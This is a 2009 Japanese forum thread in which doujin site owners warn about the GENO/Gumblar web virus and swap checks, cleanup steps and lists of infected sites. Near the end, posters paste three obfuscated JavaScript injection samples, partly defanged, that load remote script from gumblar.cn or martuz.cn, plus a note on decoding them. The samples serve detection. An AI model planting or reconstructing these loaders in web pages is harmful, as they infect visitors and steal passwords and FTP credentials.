今回のウィルスじゃないが、
女性向け同人同士だと正直知り合い程度の人に名乗って「ウィルス感染してるよ」って注意しにくいし
注意しても「えーよくわかんない；；；サイト消せばいいの？」って程度の人多いよ。
でもそんなこと言ってる場合じゃないなｗ

気づいてないだけの人もまだまだ多いだろうから感染者
これからまた増えるだろうね

インテはｲﾝﾌﾙとでダブルパンチになりそうな………

>>2さん
隠の王だよ陰じゃないよー

>>763
あれ？　じゃあ未知の脆弱性ってこと？

>>769
今まであちこちのスレで報告されてきたものに関していえば絶対防げるだろ。
それ以上何を期待してるんだ。

>>803
とっくに終わった話題を引きずらないでこれからの話をしようぜ先輩
つか今多くが見てるであろう携帯クラシックメニューからAA判定されちゃってるから

絶対防げるはありえないな
ましてやGENOは駆除もできない極悪ウイルス

跡地すらも感染してるよって報告が今までに何件かあったし
再インスコでまたお知らせ出せるまでには少し時間かかるだろ
優先順位をどうすべきなんだこれ…

今携帯だからちゃんと確認出来ないけど、ふたば虹裏もやられたっぽいので注意

ウイルスでリアルもサイト（二次元）も＼(^o^)／ｵﾜﾀなんて事になるよか
きっちり確認とか取れるだけの対策しておくれよーと思うんだが
サーチ管理人に伝達しても注意喚起してくれねえ…
わかんねえなんて言ってるうちに、ｵﾜﾀになったらどうするんだよ…
どうにかして注意喚起できないだろうか

虹裏やられたってやばいな
すごい被害になりそうだ

>>803
豚インフルも流行ってるのに今更キャンセルできなーいって
強行に海外旅行に行った馬鹿共と同類だな

>>810
とりあえずサイトに埋め込まれちゃってるなら跡形なく削除が最優先じゃないかな
跡地はなんか危険っぽい

>>811>>813
( ﾟ∀ﾟ)　ｱﾋｬﾋｬﾋｬﾋｬﾋｬﾋｬ

もうネットできんなこりゃ…

警告文や謝罪文をうｐしようにも、クリーンインストール前じゃ感染してるページを
うｐするだけなんだし、まずはサイト全部削除でいいんじゃね？
クリーンインストール終わったら各ソフトアップデートしたりavast!入れたり
火狐入れたりJavaScript切ったり対策して、FTPパス変更→警告文謝罪文作成＆
うｐってなるから、作業遅い人は半日位掛かるよね…

明らかにおかしいｽｸﾘﾌﾟﾄがheadとbodyの間にあったら、それはもう確定でいいんだよな？
巡回サイトのソース覗いたら@はさんだ数字の羅列が存在してた＼(^O^)／
一応vista使いではあるんだが、あれって感染する場合は閲覧→即時感染なのかな
タイムラグがあるんだったらこまめにチェックしないと危ないってことだよな

adobe readerは9.0、フラッシュは最新なんだが、ここを最新にしとけばとりあえずは
問題ないってことでOK？

昨日自分も新刊チェックでサーチとか回ったけど、
感染はしてなくてホッとした(ウイルスの事は今日知った)
でも自ジャンルは安心…とは長くは言ってられないかも

対策したつもりで出来てないとこが意外に多いんで注意な

今、出先でこの現状を知ってガクブルしてるんだが
自サイトのブログにも今すぐ、この件についての記事を書いて注意換気すべきだろうか？
（携帯から記事書き込めるので

>>794
描いてくれてる人がいて今のところランキング１位になってる
他にも結構描いてる人いるから手ブロは大丈夫だと思いたい
手ブロはリア小とかもザラだからな…

2以下はまかせた
セキュ板のスレ誘導はどうするんだ？するなら2以下に

-----------------------------------------------------------------

新種のコンピュータウィルスが流行っています。
感染サイトを見ただけで感染発症し、大半のアンチウィルスソフトで検知されません。
変化が早く、一部の検知可能なソフトも最新型には対応できていない状況です。
全ジャンルでサイト管理人・閲覧者に感染チェックを推奨します。

特にサイト管理人は二次被害を起こしてしまいますので、早急な確認が望ましいと思われます。

【よくある質問】
Q：感染するとどうなるの？
A：あなたのパソコンに侵入したウイルスは、ネットに繋がった時点で
　パスワード、クレジットカードの情報、FTPのパスワードなどを抜いてしまいます。
　感染者のパソコンからアップされたサイトのファイルにウイルスコードが自動挿入され、
　そのサイトを見た人を感染させます。

Q：VistaとMacは感染しないの？
A：某企業サイトでの発見直後はVista、Macには感染しないと言われましたが
　新種も現れており安心できる状況ではありません。

詳細・感染の確認方法・対策は以下のまとめWikiと>>2-5あたり

同人サイト向け・通称「GENOウイルス」対策まとめ
ttp://www31.atwiki.jp/doujin_vinfo/

虹裏がやられたってマジでか

所で素朴な疑問なんだが
sqlsodbc.chm
こいつのバックアップを取っておいて感染後上書きするとどうなるんだろうか

とりあえず友達全員に教えといたわ
イベントあるならイベントで会った人にいっとけばいいんじゃね
後マスクくらいしろよ

>>821
そんくらい自分で判断出来んなら何もしなくていい

>>821
自分はサイトの日記に書いた
一人でも多くの人間が注意を促せば、それだけ被害は少なくなると思う

>>807
あのな亜種って知ってる？

酷いな…同人も大打撃じゃないか。

ジャンル存続云々より、今はウイルス拡大防止だろ。

ウイルス騒ぎで一時サイトが閉鎖したりしても、騒ぎが終息してから復活する人は復活するだろうし、しなきゃそれまでの想いでした、って事だろ。

こんな時にまでジャンルジャンル騒いでる奴ってアホだな。

>>818
vistaは現時点では大丈夫みたいだが、
オンラインスキャンとsqlsodbc.chmのチェックはしといたら？
自分もvistaだけどやれる事は全部やったよ

>>821
さすがそれくらいは自分の好きにしたら…？

伏字がどーの言う前に
wikiの見方もわからん
自分のサイトのソースの見方もわからんような奴のサイトは
この際全部消えてしまえばいいよ…
これで2次ジャンルの危機管理、意識とか主張されてもバカバカしい

>>823
セキュ板への誘導はなしでいいと思う
これ以上初心者あっちに流したくない
同人の所為で広まったみたいな認識になってきてるし

>>823
セキュ板のスレ誘導はしないほうがいいな
向こうであれてしまう

>>823
おｋ

セキュ板の誘導はない方がいい
向こうも質問厨が押し寄せて半ばカオス化してる

レスあり、記事書くわ

>>823のテンプレ貰ってく。
帰宅次第自分のＰＣチェックしてファイルのバックアップ取る
まだ報告ないジャンルなんで間に合っててくれ……

>>821
サイトトップに注意書きと簡単なまとめ載せてみた
でもドピコだし騒動でかなり人来なくなってるから意味ないな…
もっと大きなサイトなら良かったんだが

>>807
おまいこそ何を期待してるんだ

>823
セキュの誘導はもうしないほうがいい
これから新しく来る今北さんたちが向こう行ってもどうにもならない
向こうで初心者質問くりかえしてフルボッコに合うのが関の山だと思う

そりゃ「同人ローカルルール＞＞＞＞ウィルスへの注意喚起」と主張する人おおすぎで
「同人ってなにそれこわい」ってなられるのも当然だろ・・・。
企業が感染隠したりする対応も叩かれてるというのに。

海鮮だから二次感染の危険性だけはないけどネット通販とかよく利用してるからめちゃくちゃ怖い…

意味ないけどふたば携帯でみてきた

二次裏は通常通りｽﾚ進んでます
管理人要望板にもウイルスの報告なし

携帯サイトのサーバーもやばいの？

感染確認されたり何も分からなくて不安なら
セキュリティ上何の断りも無くとも即閉鎖するのは正しい
維持やめんどうでほったらかしで撒き散らすのは迷惑

>>790
再インストールしてパス書き変えたら跡地つくるつもりかもよ

>>824
そのファイルはあくまで目印になってるだけで
他にもやられるファイルはある

>>837
小さなことからコツコツと、だ。
誰もやらないより一人でも多く呼びかけるようやったほうがいいと思う。

>>843
以前に愛島全体がウィルスにやられたことあるだろ
安心すんな

>>581
もう遅いけどノートン入れてたら先生の仕業じゃなかったかな

>>828 >>838
あー、閲覧側に限った話をしちゃってたんで、それで行き違いがあるのかな。
どういう亜種が現れているのか知っていたら教えてほしい。
Flash PlayerとAdobe Readerを最新版にしていても、両者が原因でGENO関係で被害を受けたって報告があるんですか？
ただ、もしそうなら未知の脆弱性で被害が拡大しているわけで、セキュリティベンダーはもっと速く動いていると思うんですが。

明日はケットコム主催のボーカロイドのイベントあるんだけど、ボカロサーチが感染してるならケットコムは大丈夫なんだろうか
ケットコムも感染してたらヤバいな

>>824
sqlsodbc.chmだけ直しても無駄。それはウィルスの症状の１つってだけなので
『豚ウィルス感染！解熱剤で熱下げたから咳出まくってるけど大丈夫だよね』って
言ってるのと同じ。

対策大丈夫！っていってる人も今回のウィルスは亜種が出易いのが怖いってーのを
覚えてくれ…avast!優秀でも最新の亜種は分からんのよ…いつvistaやIE7でもやられる
亜種が出てもおかしくないのよ…orz

ノートン先生なら今俺の隣で寝てるよ

虹裏やられたってのはソースあるの？デマ？

>>851
それは本当に洒落にならん…

回線なら大丈夫とか思っている人がいるようだけど
踏み台に利用されるという点では去年の薬屋ウイルスよりたちが悪いウイルスだよ。

545 名前： コバノランタナ(関東・甲信越)[] 投稿日：2009/05/16(土) 18:19:21.70 ID:XdcmiJ/i
スレに書き込んでる途中に連投になったので、転載お願いします！

ボカロ幸感染報告したものです。
幸管理人さんの友人の幸の感染が確認されました。
サイト自体に埋め込まれちゃってるらしくどうしようもないです。
登録は5000ほどで、二次音楽だそうです(ボカロ・歌ってみたランキング的なもの)
明日がボーマスなせいで今日だけでもカウンターが7000は回ってるみたいです！
注意喚起してきます。


【管理も】同人サイト・GENOウィルス注意2【閲覧も】
http://changi.2ch.net/test/read.cgi/doujin/1242443932/
↑このスレです。誰か転載お願いします！


取り急ぎ転載　ダブったらすまん

来たよ
自サイトで注意喚起したら「ねらだったんですね！」米が
こんな時に自分がねらだってばれる心配なんかしてられるかと憤慨して言ってやりましたよ

「知り合いから聞きました」

7000…！

質問なんだがJavaScript使ってないから２ちゃんの専用ブラウザは平気なんだよな？

7000とか…怖すぎるな…

すみません
ウイルスの件今知った者です
自サイトのソースをチェックしようと思うのですが、ウイルスが感染した際に貼られるjavaはどのようなものかご存知の方おられましたらお願いいたします。

マジレスすると、まずはAdobe製品の脆弱性、を強調して告知した方がいい
去年の薬屋ウイルス騒動もFlash Playerの脆弱性を全面に出して告知して
周知が広まった。

その後で同人系・ねら系まとめに誘導

７０００がまた広がるんだろ？
なにこのウイルス・・・

>>854
どっちであっても今虹裏見に行くのは自殺行為

>>857
えらいこっちゃ…

>>850
いや、今後どんな亜種が現れるかわからない、
現状これで完璧はありえないって注意喚起してんだろ
いいかげん気づいてくれよ

まとめ管理人様おつかれさまです

「とりあえず感染してるか確認する手順」の

>→ XPユーザー
>　　背景が黒いウィンドウを選択。
>　　小文字で「dir C:\WINDOWS\system32\sqlsodbc.chm」と入力してEnterキー
>　　 \を全角にしてあるので、コピペせずすべて半角で手入力すること

の辺りかFAQに

>「ドライブCのボリュームラベルがありません　C:\WINDOWS\system32のディレクトリファイルが見つかりません」
>と出た場合、マイコンピュータのCドライブのプロパティ開けて
>全般タブの一番上にある空欄に適当な名前を付けてから再度検索するか
>マイコンピュータからフォルダを辿って直接system32内を探してください。

って追記してもらえないか
ボリュームラベルがないのとウイルスとは別問題だし、再起動でどうこうなる問題でもない
普通に使う分にはなくても構わないラベルだしな

>>857
え、歌ってみたも入ってんのか・・・

>>850
一応関連スレを覗いているが、最新版で被害報告はないみたい。
但しそれも現時点で、って話だからね。今後どうなるかはなんともいえないから
絶対安全って言わない方がいいと思う。初心者はそれで安心してしまう。

亜種は現れてるよ。
ただセキュ板荒れててそんな話をする状況じゃないね。

>>862
>>125

>>862
>>1

>>857
ｵﾜﾀ

>>858
乙
うちもきっと来るわ
そしたら、そのセリフ借りるね……

>>867
もう触んな…そっとしておけ

エヴァ(小説サーチ)
小野不由美（サーチ）
ボーカロイド(サーチ２つ？１つは登録１７００、もう１つは登録数５０００でカウンター７０００/日)

リボーン(オンリー＋プチオンリー告知サイト・ファンサイト)
鋼の錬金術師(オンリー告知サイト)
おお振り(アンソロ告知サイト)
戦国BASARA(アンソロ告知サイト)
咎狗の血(アンソロ告知サイト)

ヘタリア (PC鯖使用の携帯向け同盟)

とりあえず大規模感染いきそうなのはこのあたり？ボカロやばいな

>>862
>>633の画像みたいな意味不明なやつらしい
自分自身で感染例を見たわけじゃないので詳しい人頼みます

>>854
ソースに妙な物は無いね
デマだろ

なんか大量感染で加速しそうな悪寒
早めに次スレ用意したほうがいいと思います

男性向けショタ系サイトも危ないというレスをみた

ねらばれも何もうちは投下したやつ置いてるから今更だぜいﾋｬﾊｧ


だからお付き合い広げなかったんだがｗ

とりあえず自サイトが感染してないかどうかを調べたいんだけど
データ全部ローカルに落としてもPC感染しますか？

ほんとごめん
幸ってなに？　教えてほしい
同人やってるが2chではあんまり同人系回らんから
わからんのだわ

上にもあったけどはっきり明記されなくて困ってる
CPのことか？

すまんが、セキュ板の方へのリンク貼るのは止めてもらえ無いだろうか。
あっちからは貼ってるから分かると思うんだ。

>>883
サーチの事

幸＝サーチエンジン

>>883
サーチエンジン

>>883
俺も知らなかったが話の流れから見ると「サーチ」のようだ

虹裏って何の伏せだ?

>>883
幸＝サーチ

>>883
サーチ

>>883
サーチ

>>900は次スレよろ

>>857
OMG
ボカロもサブでやってる人多いだろうに・・・なんてこったい

>>883
さーち

ＰＣニュースにスレッド立ってるけど
萌えニューに立ててもらった方がいいんじゃないだろうか
どうやってスレ依頼するのか知らないが・・・

まとめ管理人さん、お疲れ様です。

>>633の画像をwikiに入れたらいいのではないかと思うのですが…。
自分でソース見て判断する時の助けになるかと

オマイラの優しさ連携プレーに全俺が泣いた

この時間帯ならもうねらじゃない人も注意文書いてるし、ねらバレしないだろ

>>883大人気だなｗ

>>876
ボーマス遠征組の状況次第では対策に時間かかるかもしれないな

883の人気に嫉妬

このスレに限り、伏字なしの方向にしない？
日頃、同人板を覗かないサイト持ちも注意勧告につられて来ているようだし

今回の被害は深刻だから
初心者にも分かりやすいスレにしたほうがいいと思う
せめて伏字ぐらいは

>>889
ふたばちゃんねるの画像掲示板の二次元裏

あああああ！
なんで分からなかったんだろう！
みんな即レス、ありがとう！

サイトに注意のせてきます

>>882
まず自分のPCをチェックだ

>>900
次スレよろしく
*****************以下減速***************

用語集イチイチ作るより伏字なしのが良いだろうね

刷れ立ては900？

>>857　やべえ……
Wiki管理人さん、これは大きくとりあげたほうがいいかもしれませんよ

>>858
この事態を知りながら人に注意もせずに、注意喚起したおまいに馬鹿米するとは…
そんな暇な糞野郎より、おまいのほうが１万倍立派だよ。馬鹿はスルーしとけ。

>>896
同人系だけの話じゃないから、周知を考えればニュー速+でもいいくらいだ

>>840
いまその話してるのお前だけなんだが誰と戦ってるの？

>>858
それ分かるってことはお前もねらーじゃねえかと突っ込みたくなるなｗ
魔法の言葉GJ

動画サイトで一個感染してたところがあった
そこに最近本編が大量アップされて、まとめサイトにもリンクがはられてた
南公園ももしかしたらやばいかも

小さいジャンルだから大丈夫だとは思うけど…

sqlsodbc.chm立ち上がらないわソース開けないわネットは強制終了炸裂だし
これはもうアレか･･･　　再インスコ準備するわorz

しっかしサイトトップに注意書き貼っておいても読む人少ないわー
５％も居らん

>>913
動画サイト名ｋｗｓｋ

サイトトップと日記に大きく書いてたほうが効果的かもしれんね。

>>914
立ち上がる必要はないんじゃないの？

>>915
それでもないよりはマシだ
そう思うことにしておこうや

セキュリティ板のGENOスレ4にあったJavaScriptの一例貼るよ

スクリプト language=ジャバcript<!--
(function(){var a3B2='%';var ONE=unescape((',76ar,20,61,3d,22,53c,72iptE,6egine,22,2cb,3d,22Ver,73ion
(,29,2b,22,2cj,3d,22,22,2c,75,3d,6eaviga,74or,2e,75serAgent,3bif,28,28u,2eind,65,78,4f,66,28,22Win,22),
3e,30,29,26,26(u,2e,69ndexOf(,22NT,20,36,22),3c0),26,26,28docum,65,6et,2ecook,69e,2ein,64,65xO,66(,22miek,3d1,22,29,3c0),26,26(t,79peof(zrvz,74s),21,3d,74ypeof(,22A,22))),
7bzr,76zts,3d,22A,22,3bev,61,6c,28,
22if(w,69,6e,64o,77,2e,22+,61,2b,22)j,3dj+,
22,2b,61+,22Ma,6aor,22+b+a+,22Mi,6eor,22+,62+a,2b,22B,75ild,22+b+,22j,3b,22),3bd,6fcumen,74,2ewri,74e,28,22,3c,73cript,20s,72c,3d,2f,2fgu,6dblar,2ecn,
2frss,2f,3fid,3d,22,2bj,2b,22,3e,3c,5c,2fscrip,74,3e,22),3b,7d').replace(/,/g,a3B2));eval(ONE)})();
-->スクリプト
スクリプト language=ジャバscript><!--
(function(px0E){var vU12=('v.61r.20a.3d.22S.63rip.74Engine.22.2c.62.3d.22V.65r.73ion()+.22.2cj.3d.22.22.2cu.3dna.76igato.72.2e.75.73erA.67ent.3b
if((u.2e.69ndexO.66.28.22Wi.6e.22.29.3e.30).26.26.28u.2eind.65x.4f.66.28.22.4eT.206.22).3c0).26.26(doc.75.6de.6et.2ec.6foki.65.2ei.6edexOf(.22.6diek.3d1.22).3c0).26.26.28.74.79.70e.6ff
(zrvzts.29.21.3dty.70eo.66(.22A.22))).7b.7arvz.74s.3d.22A.22.3be.76al.28.22if(.77ind.6fw.2e.22+.61+.22)
j.3dj+.22+a+.22Major.22+b+a+.22.4din.6fr.22+.62.2ba.2b.22.42uild.22+b+.22j.3b.22.29.3b.64ocument.2ewrite
(.22.3cscri.70t.20.73rc.3d.2f.2fg.75.6dblar.2ecn.2frss.2f.3f.69d.3d.22.2bj+.22.3e.3c.5c.2fs.63ri.70t.3e.22).3b.7d').replace(px0E,'%');eval(unescape(vU12))})(/./g);
-->スクリプト

- - - - - - - - - - - - - - - - - - - -
もちろんこの限りではないだろうね
虹裏が〜とかヤフーが〜とか今日なんか色々出てたけど愉快犯がデマ流してるのもあるだろうけど、
あんま普段JavaScriptのコードとか見たことない人が、普通のウイルスでも何でもないJavaScriptのタグ見て
「ウイルス感染してる！」とか勘違いして騒ぐ件も少なからずありそう

>>915
5%の人が認知してくれているじゃないか

>>913
お願いですからサウスパークと明記してください

イラストサイトの人は
キャラクターに噴出しで注意!とか言わせてる絵を
トップに置いとくとか出来そうだな

これはもうだめかもわからんね

>>915
自分も書いたしリンクも張ったが
一割以下しか見てない。そもそもの絶対数が少ないってのもあるが
多くが見るであろう大手とかに限ってオフしてるの多いから、原稿中だの遠征中だので
気づいてないのかも…
平日の昼日中じゃないだけマシなのか、イベント前だから余計アレなのか…

伏せたいやつは伏せて伏せたくないやつは伏せないでいいよもう…
伏せる伏せないより情報が集まる事の方が重要だろ

>>862
まだ見てるかな？
HTMLファイルは<body>タグより上、.jsファイルなら最下行に見覚えの無い
<script language="JavaScript 〜 </script>があったら、
そのタグ内に replace(**,***,*) or replace(**|***|*) の文字列があるかどうか探す
スクリプトからreplaceの括弧内の文字列を削除してエンコードすると
ウイルスダウンロード先のアドレスに変わる仕組みになっている
ソースをreplaceで検索してみるといい

>>915
うちもだ。幸いまだ感染報告のないジャンルだが、過疎サイトだしほぼスルーされてる。
友人に注意文送ったら「わからん」「DVD見終わってから」とか悠長なこといいやがるし…もう泣きたい

>>858
お前さんは偉いよ、この非常時にネラバレとか言ってられないよな
自分もピコサイトだがサイトトップに注意書きを書いて来たぜ
「友達にメールで教えて貰いました」の一文つきでな！

半年ROMとか言わないお前らのやさしさに感動した
まぁ今はググるのも危ないしね

>>903 賛成
今のところ正しくても間違ってても情報が２ちゃんくらいにしか集まらないし
わかりやすくすべきだと思う

おい、次スレはまだかよ

PCのチェック二重三重にして安全を確認してから自サイトと日記、ミクシ、別のところでやってるブログ2つと
参加してるマイナーSNS、プーペガールでウィルスの告知してきた。
場所によって同人向けと一般向けのまとめを使い分けて誘導。
早く収まってくれ……。

ピコだろうとなんだろうと、注意喚起する事に意味があるんだ
注意書きを見て誰かが情報を得るんだ。その行為自体に意味があるんだよ
誰かがやるだろうって何もやらなかったら広まる情報も広まらないもんだ
自分がやるしかないんだよ

>>858
「知り合い（＝スレのみんな）から聞きました」

嘘は言ってないよな、嘘は

腐女子・情弱ウイルス　FJウイルスと命名

改ざんの確認ではクリアしたけどスキャンで１個なんか引っかかったorz
このウイルスの名前ってもうあるの？
どこかにもう記載されてた？

挿入スクリプト参考に追加
※ランダムに文字を削除したから貼り付けても動かないよ

<すくりぷと language=じゃばすくりぷと><!--
(function(){var UkRR='%';var WdBp=('&61&20a&3d&22S&69ptEngi&65&22&2c&3d&22&56&
65&72s&69on+()&22&2c&6a&3d&22&22&2c&3dn&61&76ig&61tor2user&41&67ent&3bi&66
(u&2ein&6&65x&4f&66(&22C&68rm&65&22)&3c0)&26&26(&75&2ein&64ex&4ff(&22i&6e&22)
&3e0)&26&26&28u&2e&69&6d&65x&4ff&28&22&4e&54&206&22)&3c0)&26&26(&64cument
&2ecooki&65&2e&6ede&78O&66(&22&6di&6b&3d&31&22)&3c0)&26&26(t&79peo&66&28&
7arvzts)&21&3dty&70&65of&28&22A&2&7brvzt&73&3d&22A&22&3bval(&22i&66
(win&64o&77&2e&22+a+&22)))&3dj+&22+&6+&22M&61j&6fr&22+b&2b&2b&22Mi&6e&6fr
&22+a+b+&22&42uild&22+b+&22j&3&22&29&3b&646f&63ument&2ewr&69te&28&22&3cs
&63ri&70t&0&73&72c&3d&2f&2fma&72t&75&22+&22z&2e&63n&f&76i&64&2f&3fid&3d&22
&2bj+22&3c&5c&2fscrip&74&3e&22)&3b&7d').rplace(/&/g,URR);eval(uescape(WdBp))})();
--></すくりぷと>

>>923
それやるつもり

>>900が次スレ立ててくれたよ
多分連投制限に引っかかってる

【管理も】同人サイト・GENOウィルス注意3【閲覧も】
http://changi.2ch.net/test/read.cgi/doujin/1242466997/

【管理も】同人サイト・GENOウィルス注意3【閲覧も】
http://changi.2ch.net/test/read.cgi/doujin/1242466997/

名前はたしかダウンアド？になったんだっけか

>>935
きゃー不二先輩ー
って喜ぶ奴出そうだから却下

次スレ立ったね
>>900乙です

伏せてあっても現状解説入るしwikiには伏せないで載るみたいだしイミフなとこいかないからどっちでもいいや
926のいう通り情報集まんないと意味ないっしょ…

>>936
スキャンでひっかかるようなものいつまでもPCに飼わないで

＞お知らせ
＞メールを来た人から『トップページにトロイの木馬が付いているようです。』…びっくりをしました。
＞兄にメール返事を来て、来週の土曜日で兄が直してもらいます。大変に申し訳にありませんでした。

864 名前：名無しさん、君に決めた！[sage] 投稿日：2009/05/14(木) 16:12:26 ID:???
メガニウムとバクフーンのイラストがいっぱいあるな　どれも上手い
ttp://kurisu06.candypop.jp/

867 名前：名無しさん、君に決めた！[sage] 投稿日：2009/05/16(土) 08:40:04 ID:???
>>864
このサイト、ウィルスが入ってるんだが…

869 名前：名無しさん、君に決めた！[sage] 投稿日：2009/05/16(土) 15:01:53 ID:???
2009年5月13日 03:13:16 GMTのGoogleキャッシュからウイルス確認

>>916
おそらく「SayMove!」かと思われる


ニコニコのぞき見検索&SayMove!　ウイルス感染について
申し訳ありません。更新に使っていたPCが、
通称zlkon・GENOウイルスと呼ばれているウイルスの亜種に感染していたようです。
以下の時間帯に各ページにアクセスした方は感染の恐れが有ります。

5月12日　午前6時31分〜午前8：00頃
・ニコニコのぞき見検索のトップページ・ランキングページ・再生ページ以外のHTMLページ
・SayMove！のトップページ
同日　午前6時31分〜正午頃
・ニコニコのぞき見検索のマイリスト表示ページ


心当たりある奴はクリーンアップしとけ

元から入れていたjavaScriptの記述にものすごい決め付けで焦ったメール貰ったよ
違うって返しておいたけどこのテンションで広められてたら嫌だなあ

>>936
ダウンアド

sqlspdbcなんだけど、自分の組み立てたCPで殆どのファイルが2008/04/14付けの
用になってるんだけどコレってセフセフ？
ちなみに全部起動も要領も大丈夫だったんだけど。

>>936
エンジンとウイルス名晒せよｗ

漏れは
（１）sqlsodbc.chmを改変
（２）cmd.exe、regedit.exeが起動不能
が確認できて、感染しているとわかった。
完全ではないと思うし、他の香具師に適用できるかわからないし、
力業のところもあるが、少なくとも（２）の症状は解消できたので、
経緯を含めて、次レス以降で報告する。

>>950CPじゃねぇ、PCだった

>>949
それと今回のGENOは別らしいよ
ダウンアドは前からある別のっだって見たけど

こんなメールきたw
誰が始めたか分からんがGJ！
――――――――――――――――

※緊急※タチの悪いウイルスが同人サイトにも拡大中

現在新種のコンピュータウイルス「GENOウイルス（通称）」が急速に拡大中です
感染サイトを見ただけで感染発症し、現時点ではセキュリティソフトでの完全な保護は確立されていません
小林製薬や旅行代理店等、大手サイトだけでなく同人サイトにも広まっています

感染するとあなたのパソコンに侵入したウイルスは、ネットに繋がった時点で　パスワード、クレジットカードの情報、FTPのパスワードなどを抜く、また、Acrobatが挙動不審になる等の問題を引き起こします
感染者のパソコンからアップされたサイトのファイルにウイルスコードが自動挿入され、そのサイトを見た人を感染させます。
（サイト管理人は自分のサイトのソースを見ることで書き換えを確認することができます）
全ジャンルでサイト管理人・閲覧者に感染チェックを推奨します。


詳細・感染の確認方法・対策、感染ジャンルは以下のまとめ
同人サイト向け・通称「GENOウイルス」対策まとめ
http://www31.atwiki.jp/doujin_vinfo/

※このメールを知り合いの同人サイト管理者･閲覧者に送って下さい※

>>926
伏せ字にするとまとめ人に拾わないので
情報にカウントされない件

しかしボカロはヤバいな

ウイルスの件を今日知って、感染はしてなかったけど休止にしようと思うんだが
鯖の公式が感染してる場合っていうのはあるのかな？
更新したいんだがそれが怖くて出来ない…